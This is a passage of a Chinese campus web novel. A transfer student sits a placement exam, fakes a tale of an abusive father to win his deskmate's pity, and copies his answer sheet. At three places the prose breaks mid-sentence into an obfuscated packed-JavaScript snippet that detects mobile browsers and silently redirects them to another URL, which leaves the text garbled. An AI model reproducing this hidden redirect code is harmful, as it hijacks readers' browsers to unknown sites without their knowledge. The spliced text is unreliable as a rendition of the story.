稀里糊涂地安慰了自己一通,他打了个哈欠,睡眼惺忪地跟着人流走进校门,揉着眼角哼着歌:“他说风雨中这点痛算什么……” 虽然还没正式开学,但整个榕城八中内外已经透着一股浓厚的学习气息,校内校外都被贴上了各种欢迎新生的标语,什么“今天你以八中为荣,明天八中以你为荣”之类的话。 谢知跃左右张望了半天,也不认路,跟着人流一起被裹挟着前进了几百米,总算看到一面显眼的红色布告栏。 边上围着不少探头探脑的人,他连忙也挤进去,仗着个头优势挤到了最前排。 从第一页开始往下找,谢知跃一目十行地看了七八张,才在最后一面上看见了自己的名字。 谢知跃……考场在高一九班。 八中共有两栋主教学楼,一大一小,大的那栋是高一和高二共同拥有,小的那栋则只有高三的学生。楼和楼之间相隔不远,中间有还长廊互相连通。 谢知跃照着楼梯间里的示意图一路往上找,爬到最顶层才看见高一九班的班牌。 班级的门上贴着一张座位表,写了每个学生和对应的考试位置。 谢知跃在名单末尾找到自己的座位号,对着黑板上的序号,从班级门口一路走到最后一组的最后一排,最后安稳地在垃圾桶边上落座了。 班里的人不多,粗略数下来也就二十来个,零零散散地各自坐着,十个有八个都在忙着睡觉,剩下为数不多醒着的也都在各干各事。 总之没人在学习。 谢知跃心中油然而生一种宾至如归的错觉。 对这所学校的微妙归属感已经冲散了一部分对考试的紧张,他摸摸桌子,又摸摸抽屉,正打算再看看窗外的景色舒缓身心,一抬头,就和前排一个转过身来的男生对上视线。 双方都肉眼可见地愣了一秒。 谢知跃的视线越过对方,一眼就锁定了他桌上摆着的一桶泡面,还是一倍半的豪华装。 大清早吃这么好? 至于前排的男生,很快也回过神来,似乎对谢知跃的出现有些诧异,迟疑两秒:“你……是傅闻听?” “谁?”谢知跃下意识偏头,反问了一句。 前排男生又重复了一遍:“傅闻听。” 谢知跃听清,一本正经地摇了摇头,认真道:“不是我,我叫谢知跃。” “噢,我说呢。”前排男生反倒松了口气,朝他又笑了笑,“我还以为我记错人了呢。” 他看了眼谢知跃的位置,顿了一下:“诶,这么说,那你是转学来的?” 谢知跃瞪大眼睛,有些惊讶:“你怎么知道?” 他隐隐有些怀疑,莫非自己已经这么出名了?名声都从三中打到八中来了? 前排男生神秘一笑,显然一副什么都逃不出他法眼的嘚瑟样:“嘿,这你就不知道了。” “咱们八中的考场都是按期末成绩排的,这里就是整个年段的最后一个班,回回都是这么些人。” 一边说着,他熟练地撕开泡面桶,拧开自己的保温壶往里倒水,“而且上学期有个同学没参加期末考,你的座位比他还后面,所以我就猜你是转学来的。” 谢知跃若有所思地噢了一声,很快反应过来:“那人就是你刚刚说的傅闻听?” “对啊。”前排男生随口应道,一边摸出手机盖住泡面,半开玩笑道,“我只知道他长得挺帅的,还以为你是他呢。” 两人聊天的半会儿功夫,前排男生的面也泡好了。他不知道从哪儿掏出一双筷子,夹起面条吸溜一口,嘴里含含糊糊:“诶,对了,你是从哪个学校转进来的?” 谢知跃撑着下巴看他吃面,单手转着全身上下仅有的一把黑笔,顺口应道:“三中啊。” “三中?那中考分数线不是比八中还高吗?”前排男生的表情有些惊奇,一下子连嗦面的动作都停了下来,“兄弟,看不出来你还是个大学霸啊?咋想不开要转来这儿了?” “我这也是没想到嘛。”谢知跃随意合上笔帽,冲他谦虚一笑:“不小心把副校长的外甥打了一顿。” 前排男生:“……” 他满眼都是惊奇,刚放下泡面想说什么,余光却忽然捕捉到什么,一瞬间噤了声。 谢知跃有些不明所以,顺着他的视线看过去,隐约看见教室外似乎有个人影驻足。 下一秒,教室的门被推开,一个有些上了年纪的男老师走进来,臂弯里抱着一叠密封完好的文件袋。 他的视力似乎不太好,眯眼盯着班牌看了半天,确认自己没走错班级,又看了一眼下面少得可怜的学生,这才走上讲台。 注意到有老师进门,刚刚还懒懒散散的众人都下意识坐直了身体,齐齐抬头看向讲台。 谢知跃前排的男生连忙扒拉了两口泡面,来不及吃完,只能匆匆把剩下的泡面桶往抽屉里塞。 看见他们都是这种反应,谢知跃觉得奇怪,趁讲台上的老师低头看表的功夫,他伸手戳了戳前排的男生,有些疑惑地压低声音:“为什么感觉大家都有点怕老师?” 他也不是没在三中的差班考过试,谢知跃努力调动记忆,回想了一下过去在这种考场遇到的情况。 记得当时考试铃打响没多久,后排的两个混混不知道为什么起了摩擦,彼此对骂起来,紧接着一言不合地就要打起架来。 监考的老师连忙走下来试图阻拦,最后不负众望地没拦住。 于是试卷和稿纸在天上乱飞,桌椅和板凳乱七八糟地倒了一地。有些看热闹不嫌事大的也跟着进去踩一脚踹一下,事件很快就演变成了一场群架。 众人打得你来我往,指娘骂爹的叫骂声不绝于耳,只剩谢知跃和几个不小心误入该考场的学生在角落里看得瑟瑟发抖,目瞪口呆。 后来不知道是谁去叫了老师,年段长带着几个保安过来制止了这场混乱。 谢知跃也成功喜提开考二十分钟就被迫交卷的辉煌经历。 仔细回忆一番,他再看看现在一派祥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070759|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和、仿佛世外桃源一样的教室,啧啧两声,不免发出感慨:“真是风平浪静啊……” 前排男生听得一头雾水,没搞懂他到底在感慨什么。 索性他也不纠结,看了眼老师,侧过头来小声和谢知跃说话:“我们只是学习态度有问题而已,又不是不尊重老师,当然要给点面子的嘛。” “至于其他的……” 前排男生意味深长地撇了撇嘴,示意谢知跃看向那些空座位:“你以为四十五个人的教室为什么就来了这么点人?” 谢知跃:“……” 敢情那些敢屌老师的压根就懒得来? 两人交谈的功夫,讲台上的老师终于用他的老花眼确认好了时间。 他看看台下稀稀拉拉的人,神情始终如,瞧不出什么异样,大概已经对这种情况习以为常。 紧接着,这位患有严重老花眼可能还合并高度近视的老师轻咳两声,缓缓开口:“所有人都到了吧?” 谢知跃对他睁眼说瞎话的能力简直叹为观止。 他正要再问前排的男生,周围忽然一阵窸窸窣窣的骚动,隐约还听见有人在窃窃私语,谢知跃不明所以,动作一顿,下意识也跟着看过去。 刚刚虚掩着的教室前门不知道什么时候敞开了一点,缝隙里站着一个人影。 角度问题,站在外头的人逆着光,谢知跃看不清他的脸,只注意到来人肩宽腰窄,有一双长得过分的腿和格外优越的头身比。 硬是把一身简单随性的常服搭配穿出了令人艳羡的挺拔感。 被教室里的无数双眼睛注视着,那人脚步明显一顿,随后平静地将门推开,侧头瞟了眼班级座位表。 谢知跃没有特别注意,只知道是个男的。不是很感兴趣地瞥了他的背影,很快就收回了视线,百无聊赖地捏着笔身转来转去,一只手撑着脸打哈欠。 “报告。”刚刚进门的那人不紧不慢地敲了敲门,朝讲台上微微颔首。 考试龄还没响,老师朝门口挥了挥手,示意他赶快回到自己的位置上去:“还有两分钟开始考试了,大家都把无关紧要的东西放到前面来。” 虽然这么说,但实际上动弹的人少之又少。 谢知跃撑着下巴,盯着空气中的某处发呆,总觉得刚刚说话的声音有点耳熟。 他神使鬼差地偏过头,一眼就注意到了那个正目不斜视往后排走的人影。 没有遮挡,谢知跃一下子就注意到了那张漂亮得极为亮眼的脸。 五官精致到近乎锐利,皮肤冷白,鼻梁高挺,稍显狭长的眼尾带着点清冽,眼睫微垂,一身疏离的气质就像初雪融化前的清晨,叫人被他路过时都会忍不住压低声音。 重点是,这张脸很眼熟。 那些七七八八的谢知跃都不是很在意,他眯着眼睛努力地看了又看,总感觉这人好像在哪儿见过。 直到当事人走到最后一排,转身朝着他的方向走来,谢知跃直勾勾、明晃晃的视线依旧丝毫不加收敛。 与此同时,前者似乎也察觉到了什么,下意识皱了皱眉,冷冷地抬眼看过来。 “……” 二者视线交汇的瞬间,双方都肉眼可见地愣了一秒。 盯着那张似曾相识、仿佛前两天才见过的脸,谢知跃猛地瞪大眼睛,震惊得险些连嘴都合不上了。 傅闻听同样眼皮一跳,几乎是条件反射般地停下了脚步。 “……” 两人一言不发地对视着,谁也没有先开口搭话,像两座雕塑一样在僵硬中沉默,颇有一种要坚持到地老天荒的势头。 前排男生看得一头雾水,总觉得两个人的目光里藏着点复杂又隐秘的情绪,欲语还休,欲语还休。 他犹豫两秒,还是张了张嘴,试探着开口:“你们……一见钟情了?” 爱情来得太快就像龙卷风? 5. 太好了,犯天条终于被劈了 夏虫也为我沉默,沉默是今晚的康桥。 不需要多说一句话,只需一个眼神,两位兀自对视的都市丽人就明白了彼此的想法。 于是就这样面对着面,大眼瞪着小眼。 这俩人懂不懂爱情他不知道,前排男生只知道自己终于听懂了周杰伦。 原来爱情来的时候真的可以这么快。 这样一个相当复杂的画面,当然最后还是被监考老师打断了。 他大概也察觉到了教室角落里这股不太寻常的风暴,努力地眯起眼睛,试图看清那里到底发生了什么。 捕捉到傅闻听还倔强地站在原地不动弹的背影,他费力看了眼时间,催促道:“诶,那个同学,快坐下来了,考试马上开始了啊。” “……” 傅闻听的眼皮又是一跳。 多年以后,面对这张略显熟悉的脸,傅闻听仍然会回想起某人带他在巷子里一路狂奔险些去见上帝的那个遥远的下午。 在老师的催促声下,他总算动了,只不过并不是坐下来。 回想了一下刚刚在门口看到的座位表,傅闻听沉吟两秒:“谢知……” “谢知跃,跳跃的跃。”谢知跃一本正经地提醒他,然后迫不及待地把身旁的椅子拉开,在座位上拍了两下,“快坐啊同桌。” 傅闻听:“……” 命运弄人。 顶着老师催促的目光,傅闻听站在原地默了默,然后面无表情地伸手,又把椅子往旁边拖了拖。 谢知跃换了一边胳膊撑着脸,就这样饶有兴趣地看着傅闻听坐下来。 他虽然不是个记性好的人,但也不至于把两天前的事情给忘了,况且傅闻听长得实在惹眼,很难不给人留下印象。 谢知跃还记得对方当时冷冷地说“不需要,我自己能解决”时候的表情,想到这点,他简直想放声大笑!恨不能拍桌而起! 虽然在心里翻来覆去地笑了半天,但谢知跃的表情上依然看不出什么端倪,十分冷静。 即便之前的经历不太愉悦,可他不是个会记仇的人。而且在陌生的环境里措不及防看见一个熟悉的人,那种他乡遇故知的喜悦心情还是占了上风。 一个学校、一个年段、一个考场就算了,他们居然还是同桌。 如此有缘! 谢知跃决定就此既往不咎,原谅他之前没礼貌的行为了。 于是他用拳头抵着唇,一边轻咳两声,试图和他搭话,缓和彼此之间僵硬的气氛:“没想到咱们这么有缘,在这儿还能遇见……” 话还没说完,他偏头看向身侧,正要再说两句,视线就落在了旁边空空如也的位置上。 人呢? 再往后一看,傅闻听已经默默带着桌椅挪开快一米远了。 谢知跃:“……” 眼睁睁看着傅闻听不声不响地搬远,他沉默一秒,忽然一个跨步站起来,胳膊一伸,啪地按住了傅闻听的桌面。 凳腿刮擦地面,发出近乎刺耳的响声。 眼前突兀地出现一双手,死死压着桌面不让移动。傅闻听面不改色地抬眼,感受到对方逐渐加重的力道,腿上一动,压住桌脚,膝盖则强硬地抵住抽屉。 两人一个要把桌子往后搬,一个不让他动,彼此暗自较上了劲。 监考老师刚拆开文件袋,听见动静下意识看向后排,隐约看见有个人影站着,当即不悦地皱了皱眉:“诶,那个同学,考试快开始了,你站着干嘛呢?” 谢知跃背对着讲台,一双亮得惊人的眼睛紧紧盯着傅闻听,闻言声音响亮,头也不回地开口:“不好意思老师!这张桌子好像有点问题,我马上就搞定!” 这个理由的确比较合理,监考老师的态度缓和了一些,拿着分好的卷子抿抿唇:“那你快点弄好,搞完赶快坐下来考试了。” 头顶的考试铃准时响起,厚厚一沓试卷零零散散地传下来。 谢知跃和傅闻听一上一下,彼此对视着一动不动。 “……” 前排男生拿着答题卡回头,看见这一幕又愣了愣,一时间竟然不知道该不该递过去。 注意到他的视线,傅闻听面无表情地偏了偏头,视线瞥到他手上那一叠欲递又止的试卷。 “……” 沉默两秒,前排男生一脸莫名地看着这两人一声不吭、又像没事人一样各自分开了。 谢知跃依旧半托着傅闻听的桌子,回头两步,安安稳稳地放回了原来的位置上。 傅闻听一言不发地站起来,冷冷地提溜着椅背拖回桌子前面,两人全程没有一句交流。 难道现代科技已经快速发展到可以用脑神经对话了? 前排男生皱眉摸着后脑勺,百思不得其解。 不等他想出个所以然,谢知跃和傅闻听已经双双坐下。前者顺手接过他手里的答题卡,咧着一口大白牙,笑嘻嘻地说了声谢谢。 一整摞答题卡传到最后一排还剩一大半,多出来的部分和草稿纸把桌面堆成了小山。还没整理完,下一秒,比两座小山还要更厚的试卷从天而降,砸得桌面都抖了三抖。 望着那份乍一眼看过去都数不清有多少页的试卷,谢知跃罕见地陷入了沉思。 难道这其实不是一场简单的分班考试,而是他误入了孔夫子筛选关门弟子的战地现场? 获胜者能喜提一套论语大全? 认真思索了一番,谢知跃犹豫着伸手捏起试卷一页的边角,试探地往下抖了抖。 哗啦沙拉……一口气抖下来八页。 谢知跃刚要安慰自己还好还好,八页而已,结果翻过来仔细一看,后面还有八页没掉下来。 谢知跃:“……” 这他爹的就是选开门弟子也不能这么考吧?! 对着这十六页翻来覆去地看了半天,谢知跃觉得自己考完也不用活了,赶快送到ICU治一治烧焦的脑子吧。 趁着傅闻听起身去讲台上递送多余卷子的空隙,他连忙伸手戳戳前排的男生,压低声音问:“你们语文考试都这个规格?打算一次性把高中三年的文言文全考一遍?” 总不能是让他写份论文出来吧? “啊?”前排男生转过头,疑惑地看了眼谢知跃手上的卷子,很快想到什么,恍然大悟:“你说这个……” 他语气一顿,再看向谢知跃的眼神不自觉带上了一点怜悯:“哥们,谁跟你说这是语文考试了?” 谢知跃眼皮一跳,隐隐有种不详的预感:“……什么意思?” “你是转校生,不知道八中的情况也正常。”前排的男生看懂了他脸上的迷茫,语气更加怜爱了,“咱们学校的分班考试,所有科目都在同一张卷子上考的,我们年段长管这叫大合卷。” “不仅能一次性检验出学生的基础水平,还能只用一上午时间就顺便吸干学生的脑细胞,让大家都变成白痴!简直是一举两得!六合一!就是牛!” 看着前排男生不由自主竖起的拇指,正准备快乐考完语文、然后临时抱佛脚准备下午数学考试的谢知跃:“……” 难以接受这个事实,他颤抖着手往后翻了翻,语数英物理化……谢知跃两眼一黑,手里紧攥着的黑笔啪地一声掉到了桌上。 与此同时,傅闻听从讲台上走下来,一眼就看到了满脸心如死灰的谢知跃。 太好了,犯天条终于被雷劈了? 没等他多想,头顶的教室广播滋滋啦啦地卡顿两下,急促的考试铃几乎同时响彻整栋教学楼。 “考试开始,请考生开始作答……” 顶着铃声,傅闻听不动声色地加快脚步,不再注意边上的谢知跃,坐回座位后顺手又把凳子往外拖了拖,随即低头认真看向卷面。 铃声落下,几乎是同一时间,整个校园都安静了下来。 当然,高一九班的平静是另一种平静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070760|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严肃又压抑的考试氛围并没有如愿包裹这里,每个学生都在埋头干着自己的事情,睡觉、发呆、扣手指……连监考老师都隐隐被这种气氛感染,靠在讲台边上昏昏欲睡。 谢知跃还沉浸在天塌了的情绪中无法自拔,仿佛已经看见明年的零花钱排着队在向他招手离开。 事已至此,他唯有背水一战! 谢知跃坚定地做了个深呼吸,立志发挥一下自己前半生的知识储备。 好歹他也是考上过三中的人,再怎么样,至少应付最基础的语文还是不成问题的。 谢知跃满怀信心地低头看向卷子,决定先从自己会的题目开始写起。 他和试卷大眼瞪小眼半晌,犹豫半晌,最终毅然决然地动笔,写上了自己的名字和学号。 “……” 盯着卷面看了五分钟,谢知跃眼皮一跳,当即就掐指一算,两秒就果断算出未来一年内自己的零花钱会灭绝。 一题都不会啊!!! 谢知跃龇牙咧嘴地对卷子骂骂咧咧,正抓耳挠腮地想着怎么办才好,余光不经意往旁边一瞟,瞬间愣在了原地。 笔尖摩擦着纸面沙沙作响,距他仅一臂之隔的傅闻听身姿笔挺,笔下的动作极快,面无表情地对着卷面勾勾画画几笔,像是完全不需要思考,转手就在答题卡上涂上答案。 眼睁睁地看着他笔下不停,毫不犹豫地继续写下一道题,谢知跃简直看得叹为观止! 卧槽,这哥们真是太能装啊了! 明明什么都不会,硬着头皮也要云淡风轻地写得密密麻麻,简直是把装逼这两个字发挥到了极致。 这家伙大概就是前排男生刚刚提到的上学期没参加期末考的同学,他一开始还指望对方能不能发挥一点不属于这个考场的实力,但现在看这架势估计也是学渣一个。 难道颜值和智商真的不能兼得? 谢知跃捧着自己帅到掉渣的脸幽幽叹息。 叹息完再一看,隔壁的都市丽人还在奋笔疾书。要不是亲眼见证了他堪称完全瞎几把乱蒙的做题速度,谢知跃还真要被这张满满当当的试卷骗了过去。 但话又说回来,万一真让他写对几题呢? 谢知跃一下子想起那天在巷子外头听到的话,那群混混说他一直在上补习班,虽然做题方面看起来是一坨狗屎,但至少没有摆烂,说明对方的学习态度还是可以的。 现在死到临头,信任自己和信任别人的差别大概只是死法不同,一个上吊自缢一个五马分尸。 反正怎么做都是一个死,谢知跃选择死得轰轰烈烈一点。 …… 傅闻听正埋头演算最后一道数学大题。 黑色中性笔在草稿纸上列出一长串公式,不断代入题目数值,直到反复验证后终于得到答案,傅闻听才利落地在答题卡上誊抄了一遍解题步骤。 最后一笔落下,他定了定心神,一目十行地大致检查了一遍答题卡,这才如释重负地松了口气。 刚要放下笔揉揉操劳过度的手腕,傅闻听动作一顿,终于察觉到身旁那道几乎要化成实质、可怜巴巴的视线。 ? 对上谢知跃直勾勾的目光,傅闻听眼皮一跳,莫名有种不详的预感。 见他终于注意到自己,谢知跃眼睛一亮,连忙又眨了几下眼睛,挤眉弄眼半天,试图让傅闻听读懂他的暗示。 “……” 沉默着对视数秒,傅闻听很快就注意到了谢知跃几乎没怎么动的卷子和答题卡上。 意识到什么,他下意识皱了皱眉。 自认为和他心有灵犀,谢知跃觉得他懂了自己的暗示,大喜过望。 刚准备开口求助,面前的傅闻听迟疑两秒,然后从笔袋里摸出了一根全新的黑笔,递到了他面前。 ……考试也能忘记带笔,真是蠢得可怜。 好像读懂了他眼神的谢知跃:“……” 6. 对不住了!我的全家! 本就脆弱不堪的默契更是岌岌可危。 谢知跃咬了咬牙,心想死马当活马医,管他三七二十一,先豁出去再说。 深吸一口气,谢知跃努力挤出可怜巴巴的表情,压低声音往傅闻听身前凑了凑:“哥们,是这样……” 他啪一下双手合十,神色恳切:“我这次考试要是没进年段前二百,我姐……我爸就要打死我,但题目太难了,我能不能看看你的卷子,就一眼!你……” 原先只是皱着眉头,听到后半句,傅闻听的脸色一下子沉下来,毫不留情地把头转回来,冷冷道:“自己做。” 他一瞬间有些懊恼,刚刚居然还想借笔给他。 傅闻听强迫自己收回注意力,垂眸检查了一遍答题卡,草草对了一遍答案就要起身交卷。 谢知跃看他又不理人了,急得原地团团转,紧赶慢赶地说着好话:“兄弟?同桌?好哥哥?求求你求求你了,要是没考到我真的会死的,我保证就这一次,以后一定洗心革面重新做人……” 面对他一字一句的恳求,傅闻听郎心如铁,屹然不动。 谢知跃嘴皮子都快磨破了,还是没能撼动他一分一毫。眼看着傅闻听要起身交卷,他一咬牙心一横,干脆利落地把凳子往后一推。 刺啦—— 凳脚摩擦地面的声音有些刺耳,吸引了周围少数人的注意,下意识回头寻找声源。 最后一排,谢知跃深吸一口气,左腿毫不犹豫地后撤一步,单膝重重落地。 来不及思考傅闻听会怎么想,他伸手就抱住傅闻听的腰,呜咽着声泪俱下道:“呜呜呜兄弟我真求你了,就这一次!你就行行好救救我,当咱们之前扯平了行不?” 腰上被死死扣着动弹不得,傅闻听试图挣扎了一下无果,一时间竟有点手足无措。 看他没有反应,谢知跃动作一顿,连忙把人抱得更紧了,继续哭爹喊娘地干嚎,生怕下一秒就把傅闻听放走了。 大有一副你不松口我不松手的架势。 傅闻听就没见过这种无赖,反应过来后有些恼羞成怒,试图推开谢知跃努力靠近的脸,就算刻意压低声音也能听出语气里的气急败坏:“你干什么!快点起来!” 无论他怎么挣扎,谢知跃就是死皮赖脸地抱着不放手:“求你了!我没考进去真的会完蛋的!我发誓绝对不连累你!” 两人一个泪眼汪汪地死抱着不撒手,一个气恼得卯足了劲地往外推,彼此抵死缠绵着僵持不下。 终于,撑着讲台酣眠的监考老师动了动,有些迷糊地抬起脑袋,眯着眼睛环顾了一圈教室,奈何近视严重,什么也没看清。 但敏锐的直觉还是让他察觉到了教室内的骚动,于是撑着讲台站起来,皱着眉头在桌面上摸索自己的眼镜在哪儿。 眼睁睁看着傅闻听始终无动于衷,谢知跃一咬牙,决定动之以情晓之以理,试图找办法说服对方:“就看两眼!我只是不想被我爸弄死,他会家暴我的……” “……” 听到最后一句,傅闻听手上推搡的动作下意识地一顿。 意识到这点,谢知跃心里重重一跳,来不及思考,连忙挤出两滴眼泪,哀哀戚戚地吸了吸鼻涕:“你知道的,我从小就没了妈……” 傅闻听:“……”他什么时候知道了? 注意到傅闻听彻底停下动作,谢知跃面上一喜,连忙用尽了毕生的演技,乘胜追击,哽咽着挤出哭腔。 对不住了,老爹! “我爸一把屎一把尿地把我喂大,但他一喝酒就爱打我,每次都把我和我姐往死里打……” 谢知跃深吸一口气,微微垂下头,就像是说到了伤心处,肩膀抽噎似地一动一动,“我姐为了保护我,凑钱给我上学,现在辍学了在厂里打工,但赚的钱都会被我爹抢走喝酒……” 对不住了,老姐! “我那个畜生爹说这次要是考不进前二百就会打死我,还要把我赶出家门……我姐还在流水线打螺丝,我不想辜负我姐的期望,就这一次,我发誓以后一定好好学习……” 看不见傅闻听的表情,谢知跃难免有点心虚,声音越来越弱。见对方还是迟迟没说话,他迟疑片刻,一狠心,干脆就要把爷奶一起抬上阵。 对不住了,爷爷奶奶! 准备再编造一段感人肺腑至深至切的悲惨往事,谢知跃酝酿好情绪,还没开口,就感受到傅闻听的身体微不可察地动了动。 余光瞟到他垂在身侧的手指无意识地蜷缩又松开,谢知跃眼睛一亮,直呼有戏! 或许是有些动容,傅闻听迟迟没有说话,身体却也不再那么僵硬地后仰。 隐隐察觉到对方出稍显软化的态度,谢知跃一声不吭地逮着人就是不撒手,心口也跟着砰砰直跳,祈祷有奇迹发生。 经过一场实际没多久、但谢知跃感觉相当漫长的拉锯战,他察觉到怀里的人动了动,随即有道恼怒的声音从头顶上传来。 傅闻听忍无可忍地重重啧了一声,咬着牙总算妥协:“……我给你抄行了吧,快点起来!” 守得云开见月明,谢知跃这辈子没听过这么动听的话。 他瞬间生龙活虎起来,一改刚刚的哀愁,迅速坐回凳子上,带着点谄媚地合掌感谢:“滴水之恩当涌泉相报!好哥们,一会儿考完试咱们就去梁山结拜,然后义结金兰、喜结连理、共赴巫山……” 一句话四个成语,三个是错的。 没一句正经的话能从他嘴里冒出来,傅闻听听得忍不住皱眉:“要抄快点抄,不抄我交卷了。” 生怕他真的起身就走,谢知跃忙不迭把答题卡找出来,手忙脚乱地找出水笔来,然后正襟危坐地深吸一口气,小声道:“我准备好了。” 傅闻听没好气地翻了个白眼,敷衍地把卷子往他那边推了推。 与此同时,监考老师好不容易在桌角找到了自己失踪的眼镜,嘀咕着用衣服擦了擦镜片,这才慢悠悠地戴上去。 装模做样地张望了教室一圈,监考老师没发现什么异常,重重咳嗽两声,又慢吞吞地坐了回去。 谢知跃抓住机会,很快进入状态,小心翼翼地瞄了一眼监考老师,然后偷偷倾斜上半身,一双眼睛使劲往傅闻听的方向瞟。 虽然没有过作弊的经验,但谢知跃自信认为这没什么难的。 秉承着我看不见对方等于对方看不见我的原则,他用左手抵住额头,掌心挡住余光里监考老师的身影,开始偷瞄傅闻听的卷面。 西当太白有鸟道……可以什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070761|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后半句被手臂挡住,谢知跃眯了眯眼睛,整个上半身不自觉地凑了过去。 可以横绝……峨眉巅…… 匆匆忙忙地在答题卡上照抄了一遍,谢知跃偷瞄了一眼监考老师,接着迫不及待地看向下一题目。 抱臂环胸的傅闻听板着一张冷脸,就这样眼睁睁看着谢知跃逐渐偏离座位……然后离自己越来越近……越来越近…… 直到谢知跃半个手肘横跨桌面,几乎整个人都凑了过来。 又是欲盖弥彰地挡住脸偷看,又是心虚且警惕地抄答案,傅闻听甚至还听见谢知跃边写边碎碎念,语气十分虔诚:“看不见我……看不见我……” 抄一道题能有一百个小动作,抄完一题又缩回去写,写完又把头伸过来看,简直是生怕老师看不出来他在作弊。 傅闻听:“……” 世界上怎么会有这种笨蛋? 他实在怕谢知跃抄完卷子以后把桌面磨得抛光,终于在谢知跃又一次探头过来的时候,忍无可忍地深吸一口气。 一把将凑过来的脑袋推回去,他眼疾手快地把自己的答题卡和谢知跃桌上的原卷调换了一下。 谢知跃还没反应过来,眼前就突然天降一份写得满满当当的答题卡。 看他不动,傅闻听微微偏过头,压着声音提醒他:“快点抄。” 被他一催,谢知跃终于回过神来,惊喜得都没来得及感谢,拿起笔就开始狂涂选择题。 他就说前两天见义勇为的时候果然没救错人! 埋头奋笔疾书的同时,谢知跃当然没忘抽空留意自己的恩公叫什么名字。 和答题卡上相对整洁的字迹不同,傅闻听的名字写得十分随意,字形凌厉,一撇一捺自带笔锋,他歪着脑袋看了半天,然后恍然大悟。 傅闻……听? 来不及多想,他匆忙收回视线,把答题卡翻了个页继续埋头苦抄。 管他考到年段前二百需要多少分,谢知跃埋头就是一通狂写,哪有时间质疑是对是错,能有的抄就不错了。 囫囵吞枣地照着傅闻听的答题卡写完了所有的选择题,谢知跃翻页回去抄小题,这才发现傅闻听居然连后面的大题也写得满满当当,一道空着的都没有! 这是何等令人尊敬的学习态度! 谢知跃简直感动得潸然泪下,写得这么有模有样,肯定编得很辛苦,心里对傅闻听的敬佩不由得又上升了几分。 都读成这鸟样了也要继续读,有这样的毅力,他干什么都会成功的! 傅闻听哪里知道自己在谢知跃心里已经被脑补成了“一个学习不行但学得很认真”的好心人,他这会儿等得实在无聊,顺手翻看起刚用答题卡和谢知跃交换过来的卷子。 翻过来第一页就是文言文翻译题,傅闻听看了眼题目:入门则私其妻子,出门而诳其父兄。 定睛一看,谢知跃已经在题目旁边歪歪斜斜地写了一行译文。 傅闻听难得起了兴趣,歪着脑袋认真辨别他到底写了什么。 ……回家就和别人的老婆私聊,出门就冤枉他的爸爸和哥哥。 ? 傅闻听沉默两秒,啪地一下合上了试卷。 ……毁灭吧,这个世界。 7. 没有告知姓名的义务! 丝毫不知道同桌的人心里怀着怎样一种毁天灭地的情感,谢知跃只顾着埋头继续抄答案。 出卷人至少还保留着一丝微不足道的良心,删掉了语文和英语的作文;但这份良心显然不足,因为剩下的题量和难度也绝不是一个普通学生能在一上午就写完的。 但题目难不难,谢知跃也看不懂,只知道字真的好多,他抄得真的好累。 周围陆陆续续有人上去交卷,秉承着一丝“改卷老师万一看着觉得我很辛苦然后加点分呢”的希冀,谢知跃咬着牙苦苦抄写。 紧赶慢赶,他匆匆改了几题的答案,总算赶在响铃交卷前落下了最后一笔。 如释重负地呼出一口气,谢知跃重重往后一靠,瘫软在座位上,活脱脱一副死里逃生的模样。 傅闻听早就等得不耐烦,没好气地翻了个白眼。 懒得说太多,他看也没看谢知跃一眼,从他桌上抽回自己的答题卡,径直起身走向讲台。 谢知跃愣了一下,还没反应过来,眼看着傅闻听交完卷就头也不回地离开教室,他连忙抓起卷子也冲上讲台。 迅速把答题卡交给老师,谢知跃还记挂着该道谢的事情,急急忙忙地跟着出去。 可惜不知道傅闻听是不是为了摆脱他而走得飞快,总之等谢知跃跑出教室的时候,走廊上已经不见了傅闻听的身影。 长廊尽头一左一右有两个楼梯间,距离相差不大,谢知跃不知道傅闻听往哪头走了,犹豫两秒,最后果断地选择往左边冲! 男左女右!选左边! 所幸他运气不错,一路火急火燎地沿着楼梯往下飞奔,总算在快到一层的时候捕捉到了走廊上某个一晃而过的背影。 谢知跃眼睛一亮,连忙撑住扶手一个用力,灵活地从楼梯上翻身跳了下去。 生怕人又跑了,他三步并两步地追上去,匆匆扯着嗓子喊:“诶!你等等!” 傅闻听恍若未闻,不动声色地加快了脚步,头也不回地往前走。 过了交卷时间,陆陆续续有学生从教学楼里出来,无一例外都是一副苦瓜脸,有些甚至抹着眼泪,神色恹恹。 通往校门的大路逐渐变得拥挤,谢知跃一个不注意就被埋没在了人堆里,好不容易挣扎着冒头,东张西望半天才重新找到傅闻听。 千难万难从人群里钻出一条血路,谢知跃总算挤到了傅闻听边上,累得气喘吁吁,连话都快说不利索了:“哎,你怎么没等我就直接走了?” 